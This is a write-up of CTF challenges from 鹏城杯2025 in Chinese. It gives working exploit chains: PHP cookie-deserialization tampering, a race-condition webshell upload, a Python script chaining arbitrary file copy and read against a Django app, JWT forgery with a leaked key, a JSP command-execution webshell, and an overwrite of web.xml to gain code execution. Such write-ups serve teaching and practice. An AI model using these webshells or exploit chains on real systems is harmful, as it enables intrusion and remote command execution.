文章

鹏城杯2025 WP

鹏城杯2025 WP

pcb5-Uplssse

登录后伪造cookie,将cookie base64 解码

O:4:”User”:4:{s:8:”username”;s:5:”admin”;s:8:”password”;s:6:”123456”;s:10:”isLoggedIn”;b:1;s:8:”is_admin”;i:0;} 把最后的0改成1,进入上传页面

条件竞争,上传图片马,.htaccess

ezDjango

Gemini3 Pro 提供的思路
/copy/ (任意文件复制): 代码中 copy_file 函数没有对 src(源文件)做任何过滤,只检查文件是否存在。 这意味着:我们可以请求服务器把 /flag 复制到缓存目录中,并伪装成一个合法的缓存文件。

/cache/viewer/ (任意文件读取): 只要文件在缓存目录下,并且文件名符合 md5(key).djcache 的格式,这个接口就会读取该文件的二进制内容并返回给我们(而且是 HEX 格式,不会触发 pickle 反序列化)。

操作流程:

  1. 计算一个假 Key 的 MD5,例如 md5(“myflag”)。

  2. 调用 /copy/,把 /flag (源) 复制到 /tmp/django_cache/<MD5>.djcache (目标)。

  3. 调用 /cache/viewer/,查询 myflag。

  4. 服务器读取我们刚刚复制过去的 Flag 文件,并把内容发给我们。

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import requests
import hashlib
import os
TARGET_URL = "http://192.168.18.27:25003"
def get_md5_filename(key):
    return hashlib.md5(key.encode()).hexdigest() + ".djcache"
def main():
    s = requests.Session()
    print("\[\*\] 1. 探测缓存目录...")
    cache_dir = "/tmp/django_cache"
    try:
        res = s.post(f"{TARGET_URL}/cache/viewer/", data={"key": "probe_path_123"})
        if "Cache file not found: " in res.text:
            path_part = res.json()\["message"\].split("Cache file not found: ")\[1\]
            cache_dir = os.path.dirname(path_part).replace("\\\\", "/")
            print(f"\[+\] 发现缓存目录: {cache_dir}")
    except:
        print(f"\[-\] 探测失败,使用默认: {cache_dir}")
    flag_paths = \[
        "/flag",
        "/app/flag",
        "/root/flag",
        "./flag",
        "../flag",
        "/tmp/flag"
    \]
    print("\n\[\*\] 开始尝试利用 Copy 功能窃取 Flag...")
   
    steal_key = "stolen_flag"
    steal_filename = get_md5_filename(steal_key)
   
    if cache_dir.endswith("/"):
        dest_path = cache_dir + steal_filename
    else:
        dest_path = cache_dir + "/" + steal_filename
    found = False
    for src_path in flag_paths:
        print(f"\[\*\] 尝试 Copy: {src_path} -\> {dest_path}")
       
        res = s.post(f"{TARGET_URL}/copy/", data={
            "src": src_path,
            "dst": dest_path
        })
       
        try:
            resp_json = res.json()
        except:
            print(f"   \[-\] 响应解析失败: {res.text\[:50\]}")
            continue
        if resp_json.get('status') == 'error':
            if "Source file not found" in resp_json.get('message', ''):
                print(f"   \[-\] 文件不存在: {src_path}")
            else:
                print(f"   \[-\] Copy 错误: {resp_json.get('message')}")
            continue
       
        print(f"   \[+\] Copy 成功! 正在读取内容...")
       
        res = s.post(f"{TARGET_URL}/cache/viewer/", data={"key": steal_key})
        data = res.json()
       
        if data.get('status') == 'success':
            hex_content = data\['raw_content'\]
            flag_content = bytes.fromhex(hex_content).decode('utf-8', errors='ignore')
            print(f"FLAG FOUND via {src_path}:")
            print(flag_content.strip())
            found = True
            break
        else:
            print(f"   \[-\] 读取失败: {data.get('message')}")

    if not found:
        print("\[-\] 遍历了所有常见路径,未找到 Flag。")

if \_\_name\_\_ == "\_\_main\_\_":
    main()

pcb5-ez_java

附件是.htaccess,根据ai提示,访问/download?path=%2fWEB-INF%2fweb.xml读取web.xml。

Ai分析出一些关键的类:

  1. com.ctf.BackUpServlet (映射路径 /backup/*)

    • 分析:“备份”功能通常涉及文件读取、打包或数据库导出。如果实现不当,极其容易导致任意文件读取或敏感信息泄露。这是最可疑的目标。
  2. com.ctf.AdminDashboardServlet (映射路径 /admin/*)

    • 分析:管理员面板通常包含普通用户无法访问的功能,Flag 很有可能就在管理员才能看到的地方,或者硬编码在这个类里。

/download?path=%2fWEB-INF%2fclasses%2fcom%2fctf%2fBackUpServlet.class

/download?path=%2fWEB-INF%2fclasses%2fcom%2fctf%2fAdminDashboardServlet.class下载后用jadx反编译。

权限控制 (AdminDashboardServlet):

代码中 validateAdmin 方法会检查名为 jwt 的 Cookie。

它调用 JwtUtil.validateToken(value),并要求返回的用户名必须是 “admin”。

还有个疑似可以修改资源路径的

如果我们将 new-path 设置为 /,那么 getServletContext().getRealPath(resourceDir) 就会指向 Web 应用的根目录(Root Context),而不再是安全的 uploads 目录。

需要进行jwt伪造,先下载JwtUtil.class,发现key

AdminDashboardServlet 中的 validateAdmin 方法只检查了 JWT 中的 sub 是否为 admin。

使用伪造的jwt,可以访问/admin.html

修改资源路径

在/admin.html可以看到资源路径变了。此时,全局的文件上传目录已经被我们劫持到了网站根目录。

通常我们可以直接上传一个 .jsp 马,但这题没用。

这里有一个更底层的利用方式:覆盖配置文件

由于我们现在可以将文件写入 Web 根目录,且通常 Web 应用运行在 Tomcat 下,Web 根目录包含 WEB-INF 文件夹。Tomcat 有一个特性:当 WEB-INF/web.xml 被修改时,Context 会自动热重载(Reload)

我们可以利用这一点,自定义文件后缀的解析规则。

攻击策略:

**上传马 **

1
2
3
4
5
6
7
8
9
10
11
12
13
<%
	String c = request.getParameter("c");
	if (c != null) {
		Process p = Runtime.getRuntime().exec(c);
		java.io.BufferedReader r = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream()));
		String line;
		out.println("\<pre\>");
		while((line = r.readLine()) != null) {
			out.println(line);
		}
		out.println("\</pre\>");
}
%>

上传恶意的 web.xml: 接着,上传一个精心构造的 web.xml 到 WEB-INF/web.xml。 在这个配置中,我们手动添加一段 Servlet 映射,强制将我们刚才上传的后缀(比如 .js)交给 Tomcat 的 JSP 引擎(org.apache.jasper.servlet.JspServlet)去处理。

  • web.xml 关键修改点思路: 保持原有的 Servlet 定义不变(防止应用崩掉),额外增加:
1
2
3
4
<servlet-mapping>
	<servlet-name>jsp</servlet-name> -->
	<url-pattern\>*.js</url-pattern>
</servlet-mapping>

然后读取环境变量得到flag

124

数据识别:

使用Wireshark打开提供的pcap文

分析CAN总线数据,识别底盘动力域相关信号

发现ID为0x580的信号呈现先上升后下降的趋势,符合车速特征

信号解析

0x580信号每帧数据最后一位为校验位,无需处理

解析前7字节(或根据实际情况调整)为车速值

单位换算:十六进制值 × 0.01 = 车速(km/h)

峰值定位:

对所有0x580帧进行解析,绘制车速变化曲线

确定峰值出现在帧编号No.12149处

Sha256编码,然后用flag包裹

本文由作者按照 CC BY 4.0 进行授权